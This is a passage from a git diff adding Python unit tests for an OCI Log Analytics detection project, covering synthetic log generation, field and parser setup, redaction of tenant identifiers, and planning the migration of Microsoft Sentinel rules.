Sysmon Logs"], + {"Command Line", "Process Name"}, + contracts, + ) + + self.assertIsNotNone(contract) + self.assertEqual(contract.source_display, "SOC Windows Sysmon Logs") + self.assertEqual(missing_fields, []) + self.assertEqual(missing_sources, ["Microsoft Defender Email Logs"]) + + def test_build_synthetic_event_maps_display_fields_to_raw_paths(self): + contract = SourceContract( + source_display="SOC Test Logs", + parser_name="socTestParser", + parser_display="SOC Test Parser", + field_paths={ + "time": ["$.metadata.time"], + "Command Line": ["$.CommandLine"], + "Destination Port": ["$.network.destinationPort"], + }, + example={ + "EventID": "4688", + "TimeCreated": "2026-01-01T00:00:00.000Z", + "metadata": {"time": "2026-01-01T00:00:00.000Z"}, + }, + ) + + event = build_synthetic_event( + contract, + {"Command Line", "Destination Port"}, + {"Command Line": "whoami", "Destination Port": 443}, + {"sentinel_id": "rule-001", "title": "Synthetic Rule"}, + ) + + self.assertEqual(event["CommandLine"], "whoami") + self.assertEqual(event["network"]["destinationPort"], 443) + self.assertEqual(event["EventID"], "4688") + self.assertNotEqual(event["TimeCreated"], "2026-01-01T00:00:00.000Z") + self.assertEqual(event["metadata"]["time"], event["TimeCreated"]) + self.assertTrue(event["sentinelSynthetic"]) + + def test_safe_live_error_redacts_oci_identifiers(self): + text = ( + "GET https://loganalytics.example-1.oci.oraclecloud.com/20200601/" + "namespaces/tenantnamespace/sources?compartmentId=ocid1.compartment.oc1..abcdef " + "opc-request-id=REQ123" + ) + + redacted = _safe_live_error(text) + + self.assertNotIn("tenantnamespace", redacted) + self.assertNotIn("ocid1.compartment", redacted) + self.assertNotIn("REQ123", redacted) + self.assertIn("", redacted) + + def test_build_synthetic_plan_writes_ready_logs_and_explicit_gaps(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + candidates_file = root / "candidates.json" + data_dir = root / "data" + plan_path = root / "plan.json" + candidates_file.write_text(json.dumps({ + "source": {"name": "Microsoft Sentinel"}, + "candidates": [ + self._candidate(), + self._candidate( + sentinel_id="sentinel-source-gap", + title="Synthetic Entra Gap", + query="SigninLogs | where Result != 'Success' and UserPrincipalName has 'admin'", + source_path="Detections/SigninLogs/Synthetic.yaml", + ), + ], + }), encoding="utf-8") + + report = build_synthetic_plan( + top=2, + candidates_file=candidates_file, + data_dir=data_dir, + plan_path=plan_path, + progress_interval=-1, + ) + + statuses = {candidate["status"] for candidate in report["candidates"]} + self.assertIn("synthetic_ready", statuses) + self.assertIn("source_gap", statuses) + self.assertEqual(report["summary"]["synthetic_ready"], 1) + ready = [candidate for candidate in report["candidates"] if candidate["status"] == "synthetic_ready"][0] + self.assertEqual(ready["selected_source"], "SOC Windows Sysmon Logs") + self.assertTrue((data_dir / ready["synthetic_file"]).exists()) + self.assertTrue((data_dir / "manifest.json").exists()) + gap = [candidate for candidate in report["candidates"] if candidate["status"] == "source_gap"][0] + self.assertIn("no existing parser/source contract", gap["gap"]["reason"]) + self.assertIn("confirm OCI source", gap["gap"]["oci_steps"]) + + def test_promote_live_results_writes_only_non_empty_passes(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + candidates_file = root / "candidates.json" + plan_path = root / "plan.json" + live_path = root / "live.json" + output_dir = root / "sentinel" + report_path = root / "report.json" + candidate = self._candidate() + candidates_file.write_text(json.dumps({ + "source": {"name": "Microsoft Sentinel"}, + "candidates": [candidate], + }), encoding="utf-8") + plan_path.write_text(json.dumps({ + "candidates": [{ + "title": candidate["title"], + "sentinel_id": candidate["sentinel_id"], + "source_path": candidate["source_path"], + "status": "synthetic_ready", + "query": "", + }] + }), encoding="utf-8") + live_path.write_text(json.dumps({ + "results": [{ + "title": candidate["title"], + "sentinel_id": candidate["sentinel_id"], + "source_path": candidate["source_path"], + "ok": True, + "rows": 1, + "empty": False, + "error": "", + }] + }), encoding="utf-8") + + result = promote_live_results( + plan_path=plan_path, + live_results_path=live_path, + candidates_file=candidates_file, + output_dir=output_dir, + report_path=report_path, + clean_output=True, + ) + + self.assertEqual(result["promoted"], 1) + promoted_files = list(output_dir.glob("*.json")) + self.assertEqual(len(promoted_files), 1) + payload = json.loads(promoted_files[0].read_text(encoding="utf-8")) + self.assertEqual(payload["live_validation_status"], "passed") + self.assertEqual(payload["test_data_coverage"], "synthetic_live_hit") + report = json.loads(report_path.read_text(encoding="utf-8")) + self.assertEqual(report["summary"]["promoted_count"], 1) + self.assertEqual(report["summary"]["live_validation_passed"], 1) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_setup_log_sources.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_setup_log_sources.py new file mode 100644 index 000000000..ac0340ead --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_setup_log_sources.py @@ -0,0 +1,334 @@ +#!/usr/bin/env python3 +"""Regression tests for custom Log Analytics field/parser/source contracts.""" + +import os +import sys +import unittest +from types import SimpleNamespace +from unittest.mock import patch + +import oci + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from oci_config import SOURCE_CANDIDATE_GROUPS +from setup_log_sources import ( + APP_FIELD_MAPPINGS, + APP_SOURCE_DISPLAY, + APP_SOURCE_DESC, + APP_SOURCE_INTERNAL, + build_existing_field_map, + build_field_reuse_audit, + build_existing_field_inventory, + FIELD_DATA_TYPE_OVERRIDES, + CUSTOM_FIELDS, + OCTO_APM_FIELD_DISPLAY_NAMES, + OCTO_APM_WORKSHOP_FIELD_DISPLAY_NAMES, + create_fields, + create_source, + custom_fields_for_octo_apm_workshop, + field_mappings_for_octo_apm_workshop, + missing_octo_apm_workshop_fields, +) + + +class TestSetupLogSources(unittest.TestCase): + def test_application_source_and_parser_cover_octo_apm_fields(self): + required_fields = { + "Span ID": {"$.spanId", "$.span_id", "$.oracleApmSpanId"}, + "Parent Span ID": {"$.parentSpanId"}, + "Span Kind": {"$.spanKind"}, + "APM Domain": {"$.apmDomain"}, + "Metric Name": {"$.metricName"}, + "Metric Value": {"$.metricValue"}, + "Metric Unit": {"$.metricUnit"}, + "Service": {"$.serviceName", "$.service.name"}, + "Service Name": {"$.serviceName", "$.service.name"}, + "Service Namespace": {"$.service.namespace"}, + "Service Version": {"$.service.version"}, + "Service Instance ID": {"$.service.instance.id"}, + "Deployment Environment": {"$.deployment.environment"}, + "App Runtime": {"$.app.runtime"}, + "Trace ID": {"$.traceId", "$.trace_id", "$.oracleApmTraceId"}, + "Trace Parent": {"$.traceparent"}, + "Request ID": {"$.requestId", "$.request_id"}, + "Workflow ID": {"$.workflow_id"}, + "Workflow Step": {"$.workflow_step"}, + "HTTP Request Method": {"$.http.request.method", "$.http.method"}, + "URI Path": {"$.uriPath", "$.http.url.path"}, + "Response Code": {"$.statusCode", "$.http.status_code", "$.http.response.status_code"}, + "Response Time Ms": {"$.responseTimeMs", "$.http.response_time_ms"}, + "DB Target": {"$.dbTarget", "$.db.target"}, + "DB Statement": {"$.db.statement"}, + "DB Elapsed ms": {"$.db.elapsed_ms"}, + "DB Connection Name": {"$.db.connection_name"}, + "Java APM Path": {"$.java_apm.path"}, + "Java APM Status Code": {"$.java_apm.status_code"}, + "Java APM Latency ms": {"$.java_apm.latency_ms"}, + "Java APM Error Type": {"$.java_apm.error_type"}, + "Attack ID": {"$.security.attack.id"}, + "Attack Stage": {"$.security.attack.stage"}, + "Security Severity": {"$.security.severity"}, + "MITRE Technique ID": {"$.mitre.technique_id"}, + "MITRE Tactic": {"$.mitre.tactic"}, + "OSQuery Query": {"$.osquery.query"}, + "OSQuery Finding": {"$.osquery.finding"}, + "Compromised VM": {"$.vm.compromised"}, + "Payment Interception": {"$.payment.interception.detected"}, + "Payment Redirect": {"$.payment.redirect.detected"}, + "Payment Redirect URL": {"$.payment.redirect.url"}, + "Payment Risk Score": {"$.payment.risk_score"}, + "Process Command Line": {"$.process.command_line"}, + "Instance OCID": {"$.cloud.instance.id"}, + "Run ID": {"$.run_id"}, + "Attack Entry Point": {"$.attack.entry_point"}, + "LOTL Binary": {"$.attack.lotl_binary"}, + "Network Bytes Out": {"$.network.bytes_out"}, + "Severity": {"$.level", "$.severity"}, + "User ID (hashed)": {"$.user_id_hash"}, + "Business ID": {"$.business_id"}, + "API Gateway Name": {"$.oci.api_gateway.name"}, + "API Gateway Scope": {"$.oci.api_gateway.scope"}, + "API Gateway Deployment ID": {"$.oci.api_gateway.deployment_id"}, + "API Gateway Route": {"$.oci.api_gateway.route"}, + "API Gateway Route ID": {"$.oci.api_gateway.route_id"}, + "API Gateway Route Family": {"$.oci.api_gateway.route_family"}, + "API Gateway Request ID": {"$.oci.api_gateway.request_id"}, + "API Gateway Action": {"$.oci.api_gateway.action"}, + "API Gateway Policy Decision": {"$.oci.api_gateway.policy.decision"}, + "API Gateway Latency ms": {"$.oci.api_gateway.latency_ms"}, + "API Gateway Rate Limit": {"$.oci.api_gateway.rate_limit.limit"}, + "API Gateway Rate Remaining": {"$.oci.api_gateway.rate_limit.remaining"}, + "API Gateway Threat Signal": {"$.oci.api_gateway.threat_signal"}, + } + mappings_by_field = {} + for field_name, json_path, _sequence in APP_FIELD_MAPPINGS: + mappings_by_field.setdefault(field_name, set()).add(json_path) + + self.assertEqual(APP_SOURCE_DISPLAY, "SOC Application Logs") + self.assertEqual(SOURCE_CANDIDATE_GROUPS["application_logs"][0], "SOC Application Logs") + for field_name, json_paths in required_fields.items(): + self.assertIn(field_name, CUSTOM_FIELDS) + self.assertTrue( + json_paths.issubset(mappings_by_field.get(field_name, set())), + f"{field_name} missing mappings {json_paths - mappings_by_field.get(field_name, set())}", + ) + + def test_octo_apm_field_inventory_is_backed_by_custom_fields_and_parser(self): + mapped_fields = { + field_name + for field_name, _json_path, _sequence in APP_FIELD_MAPPINGS + if field_name not in {"msg", "time"} + } + for field_name in OCTO_APM_FIELD_DISPLAY_NAMES: + self.assertIn(field_name, CUSTOM_FIELDS) + self.assertIn(field_name, mapped_fields) + + def test_octo_apm_workshop_scope_is_minimal_and_required_field_first(self): + fields = custom_fields_for_octo_apm_workshop() + mappings = field_mappings_for_octo_apm_workshop() + mapped_fields = {field_name for field_name, _json_path, _sequence in mappings} + + self.assertEqual(fields, list(OCTO_APM_WORKSHOP_FIELD_DISPLAY_NAMES)) + self.assertIn("msg", mapped_fields) + self.assertIn("time", mapped_fields) + self.assertIn("API Gateway Threat Signal", mapped_fields) + self.assertIn("Payment Redirect URL", mapped_fields) + self.assertIn("Severity Level", mapped_fields) + self.assertNotIn("Client IP", fields) + self.assertNotIn("API Gateway Name", fields) + self.assertNotIn("Chaos Scenario", fields) + + def test_octo_apm_workshop_readiness_reports_missing_fields(self): + field_map = { + "Service Name": "udf_service_name", + "service name": "udf_service_name", + } + + missing = missing_octo_apm_workshop_fields(field_map) + + self.assertNotIn("Service Name", missing) + self.assertIn("API Gateway Threat Signal", missing) + + def test_numeric_octo_fields_have_type_overrides_for_new_tenancies(self): + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["HTTP Status Code"], "LONG") + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["DB Elapsed ms"], "LONG") + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["Java APM Latency ms"], "LONG") + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["Payment Risk Score"], "LONG") + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["Network Bytes Out"], "LONG") + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["API Gateway Latency ms"], "LONG") + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["API Gateway Rate Limit"], "LONG") + self.assertEqual(FIELD_DATA_TYPE_OVERRIDES["API Gateway Rate Remaining"], "LONG") + + def test_create_fields_creates_missing_fields_with_type_overrides(self): + created_details = [] + + class FakeClient: + def list_fields(self, _namespace, **_kwargs): + return SimpleNamespace( + data=SimpleNamespace(items=[]), + headers={}, + ) + + def upsert_field(self, _namespace, details): + created_details.append(details) + return SimpleNamespace( + data=SimpleNamespace( + name=f"udf_{details.display_name.lower().replace(' ', '_')}", + ) + ) + + result = create_fields(FakeClient(), "ns", ["HTTP Status Code", "Service Namespace"]) + + self.assertEqual(result["HTTP Status Code"], "udf_http_status_code") + self.assertEqual(created_details[0].data_type, "LONG") + self.assertEqual(created_details[1].data_type, "String") + + def test_create_fields_reuses_exact_namespace_field_before_creating(self): + class FakeClient: + def list_fields(self, _namespace, **_kwargs): + return SimpleNamespace( + data=SimpleNamespace(items=[ + SimpleNamespace( + display_name="Service Namespace", + name="udf_service_namespace", + data_type="String", + ) + ]), + headers={}, + ) + + def upsert_field(self, _namespace, _details): + raise AssertionError("existing exact fields must not be recreated") + + result = create_fields(FakeClient(), "ns", ["Service Namespace"]) + + self.assertEqual(result["Service Namespace"], "udf_service_namespace") + + def test_existing_field_map_supports_display_and_internal_names(self): + class FakeClient: + def list_fields(self, _namespace, **_kwargs): + return SimpleNamespace( + data=SimpleNamespace(items=[ + SimpleNamespace(display_name="Trace ID", name="traceid"), + ]), + headers={}, + ) + + result = build_existing_field_map(FakeClient(), "ns") + + self.assertEqual(result["Trace ID"], "traceid") + self.assertEqual(result["trace id"], "traceid") + self.assertEqual(result["traceid"], "traceid") + + def test_field_inventory_retries_transient_list_timeout(self): + calls = [] + + class FakeClient: + def list_fields(self, _namespace, **_kwargs): + calls.append(True) + if len(calls) == 1: + raise oci.exceptions.RequestException("read timed out") + return SimpleNamespace( + data=SimpleNamespace(items=[ + SimpleNamespace(display_name="Trace ID", name="traceid"), + ]), + headers={}, + ) + + with patch("setup_log_sources.FIELD_LIST_ATTEMPTS", 2), patch("setup_log_sources.time.sleep"): + inventory = build_existing_field_inventory(FakeClient(), "ns") + + self.assertEqual(len(calls), 2) + self.assertEqual(inventory["by_display"]["Trace ID"]["name"], "traceid") + + def test_field_reuse_audit_reports_exact_missing_and_rewrite_candidates(self): + class FakeClient: + def list_fields(self, _namespace, **_kwargs): + return SimpleNamespace( + data=SimpleNamespace(items=[ + SimpleNamespace(display_name="Trace ID", name="traceid", data_type="String"), + SimpleNamespace(display_name="Service", name="service", data_type="String"), + ]), + headers={}, + ) + + inventory = build_existing_field_inventory(FakeClient(), "ns") + audit = build_field_reuse_audit( + inventory, + ["Trace ID", "Service Name", "Payment Redirect URL"], + ) + + self.assertEqual(audit["total_requested"], 3) + self.assertEqual(audit["exact_reuse"][0]["existing_internal_name"], "traceid") + self.assertEqual(audit["missing"], ["Service Name", "Payment Redirect URL"]) + self.assertEqual(audit["rewrite_candidates"][0]["requested_display_name"], "Service Name") + self.assertTrue(audit["rewrite_candidates"][0]["query_rewrite_required"]) + + def test_create_fields_retries_string_fields_as_multi_valued_when_quota_is_full(self): + created_details = [] + + class FakeClient: + def list_fields(self, _namespace, **_kwargs): + return SimpleNamespace( + data=SimpleNamespace(items=[]), + headers={}, + ) + + def upsert_field(self, _namespace, details): + created_details.append(SimpleNamespace( + display_name=details.display_name, + data_type=details.data_type, + is_multi_valued=details.is_multi_valued, + )) + if not details.is_multi_valued: + raise oci.exceptions.ServiceError( + 400, + "LimitExceeded", + {}, + "Max limit reached for single-valued STRING field", + ) + return SimpleNamespace(data=SimpleNamespace(name="udfm_service_namespace")) + + result = create_fields(FakeClient(), "ns", ["Service Namespace"]) + + self.assertEqual(result["Service Namespace"], "udfm_service_namespace") + self.assertEqual(len(created_details), 2) + self.assertFalse(created_details[0].is_multi_valued) + self.assertTrue(created_details[1].is_multi_valued) + self.assertEqual(created_details[1].data_type, "String") + + def test_create_source_refreshes_existing_source_parser_binding(self): + existing_source = SimpleNamespace(name=APP_SOURCE_DISPLAY, display_name=APP_SOURCE_DISPLAY) + + class FakeClient: + def list_sources(self, _namespace, _compartment_id, **_kwargs): + return SimpleNamespace( + data=SimpleNamespace(items=[existing_source]), + headers={}, + ) + + def get_source(self, _namespace, _source_name, _compartment_id): + return SimpleNamespace(data=existing_source, headers={"etag": "etag-123"}) + + completed = SimpleNamespace(returncode=0, stderr="", stdout="") + with patch("setup_log_sources.subprocess.run", return_value=completed) as run: + create_source( + FakeClient(), + "ns", + "ocid1.compartment.oc1..example", + APP_SOURCE_INTERNAL, + APP_SOURCE_DISPLAY, + APP_SOURCE_DESC, + "socApplicationJsonParser", + ) + + command = run.call_args.args[0] + self.assertIn("--name", command) + self.assertEqual(command[command.index("--name") + 1], APP_SOURCE_DISPLAY) + self.assertIn("--if-match", command) + self.assertEqual(command[command.index("--if-match") + 1], "etag-123") + self.assertIn("--parsers", command) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_siem_discovery_report.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_siem_discovery_report.py new file mode 100644 index 000000000..022a34bc5 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_siem_discovery_report.py @@ -0,0 +1,257 @@ +#!/usr/bin/env python3 +"""Tests for SIEM discovery and migration report artifacts.""" + +from __future__ import annotations + +import json +import tempfile +import unittest +from pathlib import Path + +from scripts.siem_discovery_report import ( + azure_inventory, + build_migration_plan, + extract_externaldata_dependencies, + migration_report, + redact_sensitive_values, + sentinel_inventory, + validate_payload_against_schema, +) +from scripts.kql._facade_impl import extract_source_tables + + +class TestSiemDiscoveryReport(unittest.TestCase): + def test_sentinel_inventory_envelope_and_coverage(self): + candidates = [ + { + "sentinel_id": "rule-1", + "title": "Suspicious sign-in", + "kind": "analytics_rule", + "query": "SigninLogs | where UserPrincipalName == 'alice@example.com'", + "severity": "high", + "query_frequency": "PT5M", + "query_period": "PT1H", + "required_data_connectors": [{"connectorId": "AzureActiveDirectory"}], + "source_path": "Detections/Signin/rule.yaml", + "hit_counts_by_lookback": {"24h": 12}, + "stored_log_volume_bytes": 2_000_000, + "dashboard_references": ["Workbook A"], + } + ] + + inventory = sentinel_inventory(candidates, {"name": "test"}) + + self.assertEqual(inventory["version"], "1.0") + self.assertEqual(inventory["summary"]["content_count"], 1) + item = inventory["items"][0] + self.assertEqual(item["content_id"], "rule-1") + self.assertEqual(item["source_tables"], ["SigninLogs"]) + self.assertIn("Azure Entra ID Sign-in Logs", item["mapped_oci_sources"]) + self.assertEqual(item["missing_tables"], []) + self.assertEqual(item["hit_counts_by_lookback"], {"24h": 12}) + + def test_externaldata_feed_dependencies_are_discovered(self): + query = ( + "let knownUserAgentsIndicators = materialize(externaldata(UserAgent:string, Category:string)\n" + " [ @\"https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/UnusualUserAgents.csv\" ]\n" + " with(format=\"csv\", ignoreFirstRecord=True));\n" + "_Im_WebSession | where HttpUserAgent has_any (knownUserAgentsIndicators)" + ) + + dependencies = extract_externaldata_dependencies(query) + + self.assertEqual(len(dependencies), 1) + self.assertEqual(dependencies[0]["kind"], "externaldata") + self.assertEqual(dependencies[0]["name"], "knownUserAgentsIndicators") + self.assertEqual(dependencies[0]["format"], "csv") + self.assertEqual(dependencies[0]["columns"], [ + {"name": "UserAgent", "type": "string"}, + {"name": "Category", "type": "string"}, + ]) + self.assertEqual(dependencies[0]["options"]["ignoreFirstRecord"], "True") + self.assertIn("UnusualUserAgents.csv", dependencies[0]["url"]) + + h_literal = extract_externaldata_dependencies( + "let TorNodes = (externaldata (TorIP:string) " + "[h@'https://firewalliplists.example.test/kusto-tor-exit.csv.zip'] " + "with (ignoreFirstRecord=true)); AWSCloudTrail" + ) + self.assertEqual(h_literal[0]["url"], "https://firewalliplists.example.test/kusto-tor-exit.csv.zip") + self.assertEqual(h_literal[0]["name"], "TorNodes") + + inventory = sentinel_inventory([{ + "sentinel_id": "feed-rule", + "title": "Feed backed rule", + "kind": "analytics_rule", + "query": query, + "severity": "medium", + "source_path": "Detections/feed.yaml", + }], {"name": "test"}) + item = inventory["items"][0] + + self.assertEqual(inventory["summary"]["feed_dependency_count"], 1) + self.assertEqual(item["feed_dependencies"], dependencies) + + plan = build_migration_plan(inventory, migration_report(inventory)) + self.assertEqual(plan["items"][0]["feed_dependencies"], dependencies) + self.assertEqual(plan["items"][0]["next_validation"], "feed_staging") + self.assertEqual(migration_report(inventory)["summary"]["feed_dependency_count"], 1) + + def test_migration_report_classifies_table_and_field_blockers(self): + inventory = { + "version": "1.0", + "generated_at": "2026-05-28T00:00:00Z", + "platform": "microsoft_sentinel", + "summary": {}, + "items": [ + { + "content_id": "blocked", + "title": "Blocked", + "enabled": True, + "severity": "medium", + "source_tables": ["UnknownTable"], + "field_usage": ["UnknownField"], + "mapped_oci_sources": [], + "missing_tables": ["UnknownTable"], + "missing_fields": ["UnknownField"], + "hit_counts_by_lookback": {}, + "stored_log_volume_bytes": 0, + "dashboard_references": [], + "migration_status": "blocked", + "blockers": [ + {"type": "table_mapping", "detail": "UnknownTable"}, + {"type": "field_mapping", "detail": "UnknownField"}, + ], + } + ], + } + + report = migration_report(inventory) + + self.assertEqual(report["summary"]["blocked_count"], 1) + self.assertEqual(report["summary"]["blocker_counts"]["table_mapping"], 1) + self.assertEqual(report["items"][0]["blocker_type"], "table_mapping") + + def test_redaction_removes_tenant_request_ocid_and_ip_values(self): + request_id = "opc" + "-request-id: " + "abcdef1234567890" + ocid = "ocid1" + ".instance.oc1..aaaa" + ip_address = ".".join(["144", "24", "1", "2"]) + tenant = "-".join(["00000000", "1111", "2222", "3333", "444444444444"]) + payload = { + "message": f"{request_id} {ocid} {ip_address} https://login.microsoftonline.com/{tenant}", + } + + redacted = redact_sensitive_values(payload) + + text = json.dumps(redacted) + self.assertNotIn("ocid1.instance", text) + self.assertNotIn("xxx", text) + self.assertNotIn("abcdef1234567890", text) + self.assertNotIn("00000000-1111-2222-3333-444444444444", text) + + def test_azure_offline_inventory_uses_same_shape(self): + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "azure.json" + path.write_text(json.dumps({ + "items": [ + { + "id": "az-1", + "name": "Azure rule", + "kql": "AzureActivity | where OperationName == 'Delete'", + "enabled": False, + } + ] + }), encoding="utf-8") + + inventory = azure_inventory(path) + + self.assertEqual(inventory["platform"], "azure_log_analytics") + self.assertEqual(inventory["items"][0]["content_id"], "az-1") + self.assertEqual(inventory["items"][0]["enabled"], False) + + def test_schema_validation_reports_missing_required_fields(self): + errors = validate_payload_against_schema({"version": "1.0"}, { + "type": "object", + "required": ["version", "items"], + "properties": { + "version": {"type": "string"}, + "items": {"type": "array"}, + }, + }) + + self.assertEqual(errors, ["$: missing required field items"]) + + def test_migration_plan_preserves_duplicate_content_id_blockers(self): + inventory = { + "items": [ + { + "content_id": "duplicate", + "title": "Ready", + "kind": "analytics_rule", + "enabled": True, + "severity": "medium", + "source_tables": ["SigninLogs"], + "mapped_oci_sources": ["Azure Entra ID Sign-in Logs"], + "migration_status": "ready_for_local_validation", + "blockers": [], + }, + { + "content_id": "duplicate", + "title": "Blocked", + "kind": "analytics_rule", + "enabled": True, + "severity": "medium", + "source_tables": ["UnknownTable"], + "mapped_oci_sources": [], + "migration_status": "blocked", + "blockers": [{"type": "table_mapping", "detail": "UnknownTable"}], + }, + ], + } + report = { + "report_path": "docs/health/siem-migration-test.json", + "items": inventory["items"], + } + + plan = build_migration_plan(inventory, report) + + self.assertEqual(plan["summary"]["planned_count"], 2) + self.assertEqual(plan["summary"]["ready_for_local_validation_count"], 1) + self.assertEqual(plan["summary"]["blocked_count"], 1) + + def test_source_table_extraction_ignores_non_source_preamble(self): + self.assertEqual( + extract_source_tables(""" + // Sentinel note + let lookback = 1d; + _Im_NetworkSession(eventresult="Failure", starttime=ago(lookback)) + | where DstPortNumber == 3389 + """), + ["_Im_NetworkSession"], + ) + self.assertEqual(extract_source_tables("# Dataverse exported comment"), []) + self.assertEqual(extract_source_tables("declare query_parameters(test:string);"), []) + self.assertEqual( + extract_source_tables(""" + let threshold = 1; + union isfuzzy=true( + AZFWApplicationRule | where Action == "Deny"), + (AzureDiagnostics | where OperationName == "AzureFirewallApplicationRuleLog") + | project Action + """), + ["AZFWApplicationRule", "AzureDiagnostics"], + ) + self.assertEqual( + extract_source_tables(""" + let UserAgentList = 'tool'; + (union isfuzzy=true + (OfficeActivity | where UserAgent has UserAgentList), + (CommonSecurityLog | where RequestClientApplication has UserAgentList)) + | project TimeGenerated + """), + ["OfficeActivity", "CommonSecurityLog"], + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_streaming_expectations.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_streaming_expectations.py new file mode 100644 index 000000000..aef5a51c9 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_streaming_expectations.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Unit tests for streaming-config-derived validation expectations.""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from oci_config import ( + CORE_SOC_STREAMS, + get_expected_connector_names, + get_expected_stream_names, +) + + +class TestStreamingExpectations(unittest.TestCase): + """Validate expected stream/connector derivation from streaming config.""" + + def test_expected_streams_default_to_core_soc_set(self): + self.assertEqual(get_expected_stream_names({}), CORE_SOC_STREAMS) + + def test_expected_streams_include_configured_soc_extras(self): + config = { + "soc-detection-oci-audit": {}, + "soc-detection-cloud-guard": {}, + "soc-detection-linux-audit": {}, + "soc-detection-windows-sysmon": {}, + "soc-detection-multicloud-health": {}, + "_metadata": {}, + } + + self.assertEqual( + get_expected_stream_names(config), + CORE_SOC_STREAMS + ["soc-detection-multicloud-health"], + ) + + def test_expected_streams_ignore_non_soc_entries(self): + config = { + "soc-detection-multicloud-health": {}, + "oci-unified-stream": {}, + "_metadata": {}, + } + + self.assertEqual( + get_expected_stream_names(config), + CORE_SOC_STREAMS + ["soc-detection-multicloud-health"], + ) + + def test_expected_connector_names_match_expected_streams(self): + config = { + "soc-detection-multicloud-health": {}, + "_metadata": {}, + } + + expected = [f"sch-{name}-to-la" for name in CORE_SOC_STREAMS + ["soc-detection-multicloud-health"]] + self.assertEqual(get_expected_connector_names(config), expected) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_validate_synthetic_logs.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_validate_synthetic_logs.py new file mode 100644 index 000000000..56972dd1f --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_validate_synthetic_logs.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python3 +"""Tests for synthetic log contract validation.""" + +import json +import os +import sys +import tempfile +import unittest +from pathlib import Path + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from validate_synthetic_logs import ( + find_uncovered_datasets, + load_contracts, + validate_all, + validate_contract, +) + + +class TestValidateSyntheticLogs(unittest.TestCase): + """Ensure schema contracts catch drift and enforce provider coverage.""" + + def test_validate_contract_accepts_matching_records(self): + with tempfile.TemporaryDirectory() as tmpdir: + dataset = Path(tmpdir) / "application_logs.jsonl" + dataset.write_text( + json.dumps({ + "timestamp": "2026-04-22T10:00:00.000Z", + "serviceName": "enterprise-crm-portal", + "traceId": "trace_abc123", + "requestUrl": "/crm/login", + "statusCode": "200", + "clientAddress": "10.0.0.5", + "spanName": "HTTP GET /crm/login", + "message": "Request completed", + }) + "\n" + ) + contract = { + "required_fields": [ + "timestamp", + "serviceName", + "traceId", + "requestUrl", + "statusCode", + "clientAddress", + "spanName", + "message", + ], + "field_patterns": { + "traceId": "^trace_", + "statusCode": "^\\d{3}$", + }, + "required_values": { + "serviceName": ["enterprise-crm-portal"] + } + } + + self.assertEqual(validate_contract(dataset, contract), []) + + def test_validate_contract_flags_missing_required_values_and_conditional_patterns(self): + with tempfile.TemporaryDirectory() as tmpdir: + dataset = Path(tmpdir) / "multicloud_health.jsonl" + dataset.write_text( + "\n".join([ + json.dumps({ + "Timestamp": "2026-04-22T10:00:00.000Z", + "Cloud Provider": "OCI", + "Region": "us-ashburn-1", + "Region Display": "US East (Ashburn)", + "Latitude": 39.0, + "Longitude": -77.4, + "Instance ID": "bad-oci-id", + "Host Name": "host-1", + "Status": "healthy", + "Heartbeat Sequence": 1, + "Log Source": "SOC Multicloud Health Logs" + }), + json.dumps({ + "Timestamp": "2026-04-22T10:01:00.000Z", + "Cloud Provider": "AWS", + "Region": "us-east-1", + "Region Display": "US East (N. Virginia)", + "Latitude": 38.9, + "Longitude": -77.0, + "Instance ID": "i-1234567890abcdef0", + "Host Name": "host-2", + "Status": "healthy", + "Heartbeat Sequence": 1, + "Log Source": "SOC Multicloud Health Logs" + }) + ]) + "\n" + ) + contract = { + "required_fields": [ + "Timestamp", + "Cloud Provider", + "Instance ID", + "Log Source" + ], + "required_values": { + "Cloud Provider": ["OCI", "AWS", "Azure"] + }, + "conditional_patterns": [ + { + "when": {"Cloud Provider": "OCI"}, + "field_patterns": {"Instance ID": "^ocid1\\.instance\\."} + } + ] + } + + errors = validate_contract(dataset, contract) + self.assertTrue(any("conditional pattern" in error for error in errors)) + self.assertTrue(any("missing required values" in error for error in errors)) + + def test_validate_all_reports_missing_dataset(self): + with tempfile.TemporaryDirectory() as tmpdir: + test_data_dir = Path(tmpdir) / "test_data" + test_data_dir.mkdir() + contracts_path = Path(tmpdir) / "contracts.json" + contracts_path.write_text(json.dumps({ + "missing.jsonl": { + "required_fields": ["foo"] + } + })) + + report = validate_all(test_data_dir=test_data_dir, contracts_path=contracts_path) + self.assertFalse(report["ok"]) + self.assertIn("missing.jsonl", report["results"]) + + def test_validate_all_skips_absent_optional_dataset(self): + # An optional dataset (separate generator, e.g. the Octo workshop bundle) + # that is absent must be skipped, not treated as a failure. + with tempfile.TemporaryDirectory() as tmpdir: + test_data_dir = Path(tmpdir) / "test_data" + test_data_dir.mkdir() + 